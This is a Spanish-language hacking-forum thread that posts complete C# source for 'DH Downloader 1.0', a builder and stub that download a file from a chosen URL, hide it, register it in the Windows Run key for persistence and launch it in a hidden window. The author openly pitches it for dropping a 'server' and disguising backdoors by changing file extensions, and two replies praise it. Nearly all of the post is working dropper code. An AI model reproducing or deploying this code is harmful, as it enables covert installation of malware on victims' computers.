elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  [C#] DH Downloader 1.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [C#] DH Downloader 1.0  (Leído 2,226 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[C#] DH Downloader 1.0
« en: 19 Septiembre 2014, 21:11 pm »

Una traduccion de mi DH Downloader a C# con las siguiente opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  • En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables.

Una imagen :



Los codigos :

El generador.

Código
  1. // DH Downloader 1.0
  2. // (C) Doddy Hackman 2014
  3. //
  4. // Credits :
  5. //
  6. // Based on : http://www.csharp-examples.net/download-files/
  7. //
  8. //
  9.  
  10. using System;
  11. using System.Collections.Generic;
  12. using System.ComponentModel;
  13. using System.Data;
  14. using System.Drawing;
  15. using System.Text;
  16. using System.Windows.Forms;
  17.  
  18. using System.Net;
  19. using System.IO;
  20. using Microsoft.Win32;
  21. using System.Diagnostics;
  22.  
  23. using System.Reflection;
  24.  
  25. namespace DH_Downloader
  26. {
  27.    public partial class Form1 : Form
  28.    {
  29.        public Form1()
  30.        {
  31.            InitializeComponent();
  32.        }
  33.  
  34.        string ruta_final_global = "";
  35.  
  36.        // Functions
  37.  
  38.        public string hexencode(string texto)
  39.        {
  40.            string resultado = "";
  41.  
  42.            byte[] enc = Encoding.Default.GetBytes(texto);
  43.            resultado = BitConverter.ToString(enc);
  44.            resultado = resultado.Replace("-", "");
  45.            return "0x" + resultado;
  46.        }
  47.  
  48.        public string hexdecode(string texto)
  49.        {
  50.  
  51.            // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
  52.            // Thanks to emregulcan
  53.  
  54.            string valor = texto.Replace("0x", "");
  55.            string retorno = "";
  56.  
  57.            while (valor.Length > 0)
  58.            {
  59.                retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
  60.                valor = valor.Substring(2, valor.Length - 2);
  61.            }
  62.  
  63.            return retorno.ToString();
  64.  
  65.        }
  66.  
  67.        public void cmd_normal(string command)
  68.        {
  69.            try
  70.            {
  71.                System.Diagnostics.Process.Start("cmd", "/c " + command);
  72.            }
  73.            catch
  74.            {
  75.                //
  76.            }
  77.        }
  78.  
  79.        public void cmd_hide(string command)
  80.        {
  81.            try
  82.            {
  83.                ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
  84.                cmd_now.RedirectStandardOutput = false;
  85.                cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
  86.                cmd_now.UseShellExecute = true;
  87.                Process.Start(cmd_now);
  88.            }
  89.            catch
  90.            {
  91.                //
  92.            }
  93.        }
  94.  
  95.        public void extraer_recurso(string name, string save)
  96.        {
  97.  
  98.            // Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
  99.            // Thanks to Jean Paul
  100.  
  101.            try
  102.            {
  103.                Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
  104.                FileStream yacasi = new FileStream(save, FileMode.CreateNew);
  105.                for (int count = 0; count < bajando_recurso.Length; count++)
  106.                {
  107.                    byte down = Convert.ToByte(bajando_recurso.ReadByte());
  108.                    yacasi.WriteByte(down);
  109.                }
  110.                yacasi.Close();
  111.            }
  112.            catch
  113.            {
  114.                MessageBox.Show("Error unpacking resource");
  115.            }
  116.  
  117.        }
  118.  
  119.        //
  120.  
  121.        private void mephobiaButton1_Click(object sender, EventArgs e)
  122.        {
  123.            Application.Exit();
  124.        }
  125.  
  126.  
  127.        private void mephobiaButton2_Click(object sender, EventArgs e)
  128.        {
  129.  
  130.            string url = mephobiaTextBox1.Text;
  131.            string directorio_final = "";
  132.            string nombre_final = "";
  133.            string ruta_final = "";
  134.  
  135.            string directorio_dondeestamos = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
  136.  
  137.            if (mephobiaCheckBox1.Checked)
  138.            {
  139.                nombre_final = mephobiaTextBox2.Text;
  140.            }
  141.            else
  142.            {
  143.                nombre_final = Path.GetFileName(url);
  144.            }
  145.  
  146.            if (mephobiaCheckBox2.Checked)
  147.            {
  148.                directorio_final = mephobiaTextBox3.Text;
  149.            }
  150.            else
  151.            {
  152.                directorio_final = directorio_dondeestamos;
  153.            }
  154.  
  155.            ruta_final = directorio_final + "/" + nombre_final;
  156.            ruta_final_global = ruta_final;
  157.  
  158.            //MessageBox.Show(directorio_final);
  159.            //MessageBox.Show(nombre_final);
  160.            //MessageBox.Show(ruta_final);
  161.  
  162.            Directory.SetCurrentDirectory(directorio_final);
  163.  
  164.            if (File.Exists(ruta_final))
  165.            {
  166.                File.Delete(ruta_final);
  167.            }
  168.  
  169.            toolStripStatusLabel1.Text = "[+] Downloading ...";
  170.            this.Refresh();
  171.  
  172.            try
  173.            {
  174.                WebClient nave = new WebClient();
  175.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  176.                nave.DownloadFileCompleted += new AsyncCompletedEventHandler(finished);
  177.                nave.DownloadProgressChanged += new DownloadProgressChangedEventHandler(ahi_vamos);
  178.                nave.DownloadFileAsync(new Uri(url), nombre_final);
  179.            }
  180.  
  181.            catch
  182.            {
  183.                //
  184.            }
  185.  
  186.  
  187.            if (mephobiaCheckBox3.Checked)
  188.            {
  189.                if (File.Exists(ruta_final))
  190.                {
  191.                    try
  192.                    {
  193.                        File.SetAttributes(ruta_final, FileAttributes.Hidden);
  194.                    }
  195.                    catch
  196.                    {
  197.                        //
  198.                    }
  199.                }
  200.            }
  201.  
  202.            if (mephobiaCheckBox4.Checked)
  203.            {
  204.                if (File.Exists(ruta_final))
  205.                {
  206.                    try
  207.                    {
  208.                        RegistryKey loadnow = Registry.LocalMachine;
  209.                        loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  210.                        loadnow.SetValue("uberkz", ruta_final, RegistryValueKind.String);
  211.                        loadnow.Close();
  212.                    }
  213.                    catch
  214.                    {
  215.                        //
  216.                    }
  217.                }
  218.            }
  219.  
  220.            if (mephobiaCheckBox5.Checked)
  221.            {
  222.                if (mephobiaRadiobutton1.Checked)
  223.                {
  224.                    cmd_normal("\"" + ruta_final + "\"");
  225.                }
  226.                if (mephobiaRadiobutton2.Checked)
  227.                {
  228.                    cmd_hide("\"" + ruta_final + "\"");
  229.                }
  230.  
  231.            }
  232.  
  233.        }
  234.  
  235.        private void ahi_vamos(object sender, DownloadProgressChangedEventArgs e)
  236.        {
  237.            toolStripProgressBar1.Value = e.ProgressPercentage;
  238.        }
  239.  
  240.        private void finished(object sender, AsyncCompletedEventArgs e)
  241.        {
  242.  
  243.            long tam = new System.IO.FileInfo(ruta_final_global).Length;
  244.  
  245.            if (File.Exists(ruta_final_global) && tam!=0 )
  246.            {
  247.                toolStripStatusLabel1.Text = "[+] Done";
  248.                this.Refresh();
  249.                MessageBox.Show("Downloaded");
  250.            }
  251.            else
  252.            {
  253.                toolStripStatusLabel1.Text = "[-] Error";
  254.                this.Refresh();
  255.                MessageBox.Show("Failed download");
  256.            }
  257.            toolStripProgressBar1.Value = 0;
  258.        }
  259.  
  260.        private void Form1_Load(object sender, EventArgs e)
  261.        {
  262.            toolStripProgressBar1.Value = 0;
  263.        }
  264.  
  265.        private void mephobiaButton3_Click(object sender, EventArgs e)
  266.        {
  267.  
  268.            string linea_generada = "";
  269.  
  270.            string url = mephobiaTextBox4.Text;
  271.            string opcion_change_name = "";
  272.            string text_change_name = mephobiaTextBox5.Text;
  273.            string opcion_carga_normal = "";
  274.            string opcion_carga_hide = "";
  275.            string ruta_donde_bajar = "";
  276.            string opcion_ocultar_archivo = "";
  277.            string opcion_startup = "";
  278.  
  279.            if (mephobiaCheckBox7.Checked)
  280.            {
  281.                opcion_change_name = "1";
  282.            }
  283.            else
  284.            {
  285.                opcion_change_name = "0";
  286.            }
  287.  
  288.            if (mephobiaRadiobutton3.Checked)
  289.            {
  290.                opcion_carga_normal = "1";
  291.            }
  292.            else
  293.            {
  294.                opcion_carga_normal = "0";
  295.            }
  296.  
  297.            if (mephobiaRadiobutton4.Checked)
  298.            {
  299.                opcion_carga_hide = "1";
  300.            }
  301.            else
  302.            {
  303.                opcion_carga_hide = "0";
  304.            }
  305.  
  306.            if (mephobiaComboBox1.SelectedItem != null)
  307.            {
  308.                ruta_donde_bajar = mephobiaComboBox1.SelectedItem.ToString();
  309.            }
  310.            else
  311.            {
  312.                ruta_donde_bajar = "Fuck You Bitch";
  313.            }
  314.  
  315.            if (mephobiaCheckBox6.Checked)
  316.            {
  317.                opcion_ocultar_archivo = "1";
  318.            }
  319.            else
  320.            {
  321.                opcion_ocultar_archivo = "0";
  322.            }
  323.  
  324.            if (mephobiaCheckBox8.Checked)
  325.            {
  326.                opcion_startup = "1";
  327.            }
  328.            else
  329.            {
  330.                opcion_startup = "0";
  331.            }
  332.  
  333.            extraer_recurso("DH_Downloader.Resources.stub.exe", "stub.exe");
  334.  
  335.            string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
  336.            string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";
  337.  
  338.            if (File.Exists(check_stub))
  339.            {
  340.  
  341.                if (File.Exists(work_on_stub))
  342.                {
  343.                    System.IO.File.Delete(work_on_stub);
  344.                }
  345.  
  346.                System.IO.File.Copy(check_stub, work_on_stub);
  347.  
  348.                linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
  349.                "-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
  350.                opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
  351.                "-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
  352.                "-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-"+"-opcion_startup-"+
  353.                opcion_startup+"-opcion_startup-";
  354.  
  355.                string generado = hexencode(linea_generada);
  356.                string linea_final = "-63686175-" + generado + "-63686175-";
  357.  
  358.                FileStream abriendo = new FileStream(work_on_stub, FileMode.Append);
  359.                BinaryWriter seteando = new BinaryWriter(abriendo);
  360.                seteando.Write(linea_final);
  361.                seteando.Flush();
  362.                seteando.Close();
  363.                abriendo.Close();
  364.  
  365.                //MessageBox.Show(generado);
  366.                //MessageBox.Show(hexdecode(generado));
  367.  
  368.                try
  369.                {
  370.                    System.IO.File.Delete(check_stub);
  371.                }
  372.                catch
  373.                {
  374.                    //
  375.                }
  376.  
  377.                MessageBox.Show("Tiny downloader Generated");
  378.  
  379.            }
  380.            else
  381.            {
  382.                MessageBox.Show("Stub not found");
  383.            }
  384.  
  385.        }
  386.    }
  387. }
  388.  
  389. // The End ?
  390.  

El Stub.

Código
  1. // DH Downloader 1.0
  2. // (C) Doddy Hackman 2014
  3. // Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot
  4.  
  5. using System;
  6. using System.Collections.Generic;
  7. using System.Text;
  8. using System.Diagnostics;
  9. using System.Net;
  10. using System.IO;
  11. using Microsoft.Win32;
  12.  
  13. namespace stub
  14. {
  15.  
  16.    class Program
  17.    {
  18.  
  19.        // Functions
  20.  
  21.        static public void cmd_normal(string command)
  22.        {
  23.            try
  24.            {
  25.                System.Diagnostics.Process.Start("cmd", "/c " + command);
  26.            }
  27.            catch
  28.            {
  29.                //
  30.            }
  31.        }
  32.  
  33.        static public void cmd_hide(string command)
  34.        {
  35.            try
  36.            {
  37.                ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
  38.                cmd_now.RedirectStandardOutput = false;
  39.                cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
  40.                cmd_now.UseShellExecute = true;
  41.                Process.Start(cmd_now);
  42.            }
  43.            catch
  44.            {
  45.                //
  46.            }
  47.        }
  48.  
  49.        static public void add_startup(string path)
  50.        {
  51.            try
  52.            {
  53.                RegistryKey loadnow = Registry.LocalMachine;
  54.                loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  55.                loadnow.SetValue("uberkzz", path, RegistryValueKind.String);
  56.                loadnow.Close();
  57.            }
  58.            catch
  59.            {
  60.                //
  61.            }
  62.        }
  63.  
  64.        //
  65.  
  66.        static void Main(string[] args)
  67.        {
  68.  
  69.            load_config config = new load_config();
  70.            config.load_data();
  71.            string check_online = config.downloader_online;
  72.            if (check_online == "1")
  73.            {
  74.                Console.WriteLine("[+] Downloader Online");
  75.  
  76.                string url = config.url;
  77.                string opcion_change_name = config.opcion_change_name;
  78.                string text_change_name = config.text_change_name;
  79.                string opcion_carga_normal = config.opcion_carga_normal;
  80.                string opcion_carga_hide = config.opcion_carga_hide;
  81.                string ruta_donde_bajar = config.ruta_donde_bajar;
  82.                string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
  83.                string opcion_startup = config.opcion_startup;
  84.  
  85.                string nombre_final = "";
  86.                string directorio_final = "";
  87.                string ruta_final = "";
  88.  
  89.                //string output = config.get_data();
  90.                //Console.WriteLine(output);
  91.  
  92.                if (opcion_change_name == "1")
  93.                {
  94.                    nombre_final = text_change_name;
  95.                }
  96.                else
  97.                {
  98.                    nombre_final = Path.GetFileName(url);
  99.                }
  100.  
  101.                if (ruta_donde_bajar != "")
  102.                {
  103.                    directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
  104.                }
  105.                else
  106.                {
  107.                    directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
  108.                }
  109.  
  110.                ruta_final = directorio_final + "/" + nombre_final;
  111.  
  112.                Console.WriteLine("[+] URL : "+url+"\n");
  113.                Console.WriteLine("[+] Filename : "+ruta_final+"\n");
  114.  
  115.                try
  116.                {
  117.                    WebClient nave = new WebClient();
  118.                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  119.                    nave.DownloadFile(url, ruta_final);
  120.                }
  121.                catch
  122.                {
  123.                    //
  124.                }
  125.  
  126.                if (opcion_ocultar_archivo == "1")
  127.                {
  128.                    Console.WriteLine("[+] Hide : "+ruta_final+"\n");
  129.                    try
  130.                    {
  131.                        File.SetAttributes(ruta_final, FileAttributes.Hidden);
  132.                    }
  133.                    catch
  134.                    {
  135.                        //
  136.                    }
  137.                }
  138.  
  139.                if (opcion_startup == "1")
  140.                {
  141.                    Console.WriteLine("[+] Add Startup : "+ruta_final+"\n");
  142.                    add_startup(ruta_final);
  143.                }
  144.  
  145.                if (opcion_carga_normal == "1")
  146.                {
  147.                    Console.WriteLine("[+] Load normal : "+ruta_final+"\n");
  148.                    cmd_normal(ruta_final);
  149.                }
  150.  
  151.                if (opcion_carga_hide == "1")
  152.                {
  153.                    Console.WriteLine("[+] Load hide : "+ruta_final+"\n");
  154.                    cmd_hide(ruta_final);
  155.                }
  156.  
  157.                //Console.ReadKey();
  158.  
  159.            }
  160.            else
  161.            {
  162.                Console.WriteLine("[-] Downloader OffLine");
  163.                //Console.ReadKey();
  164.            }
  165.  
  166.        }
  167.    }
  168. }
  169.  
  170. // The End ?
  171.  

Clase load_config.cs del Stub.

Código
  1. // DH Downloader 1.0
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.Text;
  7.  
  8. using System.IO;
  9. using System.Text.RegularExpressions;
  10.  
  11. namespace stub
  12. {
  13.    class load_config
  14.    {
  15.        string downloader_online_config = "";
  16.        string url_config = "";
  17.        string opcion_change_name_config = "";
  18.        string text_change_name_config = "";
  19.        string opcion_carga_normal_config = "";
  20.        string opcion_carga_hide_config = "";
  21.        string ruta_donde_bajar_config = "";
  22.        string opcion_ocultar_archivo_config = "";
  23.        string opcion_startup_config = "";
  24.  
  25.        public string downloader_online
  26.        {
  27.            set { downloader_online_config = value; }
  28.            get { return downloader_online_config; }
  29.        }
  30.  
  31.        public string url
  32.        {
  33.            set { url_config = value; }
  34.            get { return url_config; }
  35.        }
  36.  
  37.        public string opcion_change_name
  38.        {
  39.            set { opcion_change_name_config = value; }
  40.            get { return opcion_change_name_config; }
  41.        }
  42.  
  43.        public string text_change_name
  44.        {
  45.            set { text_change_name_config = value; }
  46.            get { return text_change_name_config; }
  47.        }
  48.  
  49.        public string opcion_carga_normal
  50.        {
  51.            set { opcion_carga_normal_config = value; }
  52.            get { return opcion_carga_normal_config; }
  53.        }
  54.  
  55.        public string opcion_carga_hide
  56.        {
  57.            set { opcion_carga_hide_config = value; }
  58.            get { return opcion_carga_hide_config; }
  59.        }
  60.  
  61.        public string ruta_donde_bajar
  62.        {
  63.            set { ruta_donde_bajar_config = value; }
  64.            get { return ruta_donde_bajar_config; }
  65.        }
  66.  
  67.        public string opcion_ocultar_archivo
  68.        {
  69.            set { opcion_ocultar_archivo_config = value; }
  70.            get { return opcion_ocultar_archivo_config; }
  71.        }
  72.  
  73.        public string opcion_startup
  74.        {
  75.            set { opcion_startup_config = value; }
  76.            get { return opcion_startup_config; }
  77.        }
  78.  
  79.        public string hexencode(string texto)
  80.        {
  81.            string resultado = "";
  82.  
  83.            byte[] enc = Encoding.Default.GetBytes(texto);
  84.            resultado = BitConverter.ToString(enc);
  85.            resultado = resultado.Replace("-", "");
  86.            return "0x" + resultado;
  87.        }
  88.  
  89.        public string hexdecode(string texto)
  90.        {
  91.  
  92.            // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
  93.            // Thanks to emregulcan
  94.  
  95.            string valor = texto.Replace("0x", "");
  96.            string retorno = "";
  97.  
  98.            while (valor.Length > 0)
  99.            {
  100.                retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
  101.                valor = valor.Substring(2, valor.Length - 2);
  102.            }
  103.  
  104.            return retorno.ToString();
  105.        }
  106.  
  107.        public load_config()
  108.        {
  109.            string downloader_online_config = "";
  110.            string url_config = "";
  111.            string opcion_change_name_config = "";
  112.            string text_change_name_config = "";
  113.            string opcion_carga_normal_config = "";
  114.            string opcion_carga_hide_config = "";
  115.            string ruta_donde_bajar_config = "";
  116.            string opcion_ocultar_archivo_config = "";
  117.            string opcion_startup_config = "";
  118.        }
  119.  
  120.        public void load_data()
  121.        {
  122.            StreamReader viendo = new StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location);
  123.            string contenido = viendo.ReadToEnd();
  124.            Match regex = Regex.Match(contenido, "-63686175-(.*?)-63686175-", RegexOptions.IgnoreCase);
  125.  
  126.            if (regex.Success)
  127.            {
  128.                string comandos = regex.Groups[1].Value;
  129.                if (comandos != "" || comandos != " ")
  130.                {
  131.                    downloader_online_config = "1";
  132.                    string leyendo = hexdecode(comandos);
  133.  
  134.                    regex = Regex.Match(leyendo, "-url-(.*)-url-", RegexOptions.IgnoreCase);
  135.                    if (regex.Success)
  136.                    {
  137.                        url_config = regex.Groups[1].Value;
  138.                    }
  139.  
  140.                    regex = Regex.Match(leyendo, "-opcion_change_name-(.*)-opcion_change_name-", RegexOptions.IgnoreCase);
  141.                    if (regex.Success)
  142.                    {
  143.                        opcion_change_name_config = regex.Groups[1].Value;
  144.                    }
  145.  
  146.                    regex = Regex.Match(leyendo, "-text_change_name-(.*)-text_change_name-", RegexOptions.IgnoreCase);
  147.                    if (regex.Success)
  148.                    {
  149.                        text_change_name_config = regex.Groups[1].Value;
  150.                    }
  151.  
  152.                    regex = Regex.Match(leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-", RegexOptions.IgnoreCase);
  153.                    if (regex.Success)
  154.                    {
  155.                        opcion_carga_normal_config = regex.Groups[1].Value;
  156.                    }
  157.  
  158.                    regex = Regex.Match(leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-", RegexOptions.IgnoreCase);
  159.                    if (regex.Success)
  160.                    {
  161.                        opcion_carga_hide_config = regex.Groups[1].Value;
  162.                    }
  163.  
  164.                    regex = Regex.Match(leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-", RegexOptions.IgnoreCase);
  165.                    if (regex.Success)
  166.                    {
  167.                        ruta_donde_bajar_config = regex.Groups[1].Value;
  168.                    }
  169.  
  170.                    regex = Regex.Match(leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-", RegexOptions.IgnoreCase);
  171.                    if (regex.Success)
  172.                    {
  173.                        opcion_ocultar_archivo_config = regex.Groups[1].Value;
  174.                    }
  175.  
  176.                    regex = Regex.Match(leyendo, "-opcion_startup-(.*)-opcion_startup-", RegexOptions.IgnoreCase);
  177.                    if (regex.Success)
  178.                    {
  179.                        opcion_startup_config = regex.Groups[1].Value;
  180.                    }
  181.  
  182.                }
  183.                else
  184.                {
  185.                    downloader_online_config = "0";
  186.                }
  187.            }
  188.  
  189.        }
  190.  
  191.        public string get_data()
  192.        {
  193.            string lista = "[+] Downloader Online : " + downloader_online_config + "\n" +
  194.            "[+] URL : " + url_config +"\n" +
  195.            "[+] Option Change Name : " + opcion_change_name_config + "\n" +
  196.            "[+] Change Name to : " + text_change_name_config + "\n" +
  197.            "[+] Option normal load : " + opcion_carga_normal_config + "\n" +
  198.            "[+] Option hide load : " + opcion_carga_hide_config + "\n" +
  199.            "[+] Path : " + ruta_donde_bajar_config + "\n" +
  200.            "[+] Option hide file : " + opcion_ocultar_archivo_config + "\n" +
  201.            "[+] Option startup : " + opcion_startup_config;
  202.  
  203.            //
  204.  
  205.            return lista;
  206.        }
  207.  
  208.  
  209.    }
  210. }
  211.  
  212. // The End ?
  213.  

Un video con ejemplo de uso



Si lo quieren bajar lo pueden hacer de aca.


En línea

.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: [C#] DH Downloader 1.0
« Respuesta #1 en: 19 Septiembre 2014, 23:51 pm »

Excelente herramienta muy linda y bien programada  ;-)


En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
XresH


Desconectado Desconectado

Mensajes: 384



Ver Perfil WWW
Re: [C#] DH Downloader 1.0
« Respuesta #2 en: 20 Septiembre 2014, 21:31 pm »

Buen aporte colega, continua asi!

Saludos.
En línea

[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Downloader!!!!
Programación Visual Basic
digitalice 3 1,810 Último mensaje 14 Marzo 2006, 15:25 pm
por Kizar
[SRC] Nod 32 Downloader 1.6.1
Programación Visual Basic
Elemental Code 1 1,826 Último mensaje 12 Julio 2010, 08:08 am
por BlackZeroX
PDF exe downloader
Hacking
rusianhack 2 3,521 Último mensaje 19 Noviembre 2010, 04:39 am
por D_pit_88
[C++] Downloader « 1 2 »
Programación C/C++
kiriost 10 7,932 Último mensaje 2 Noviembre 2011, 20:59 pm
por Belial & Grimoire
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines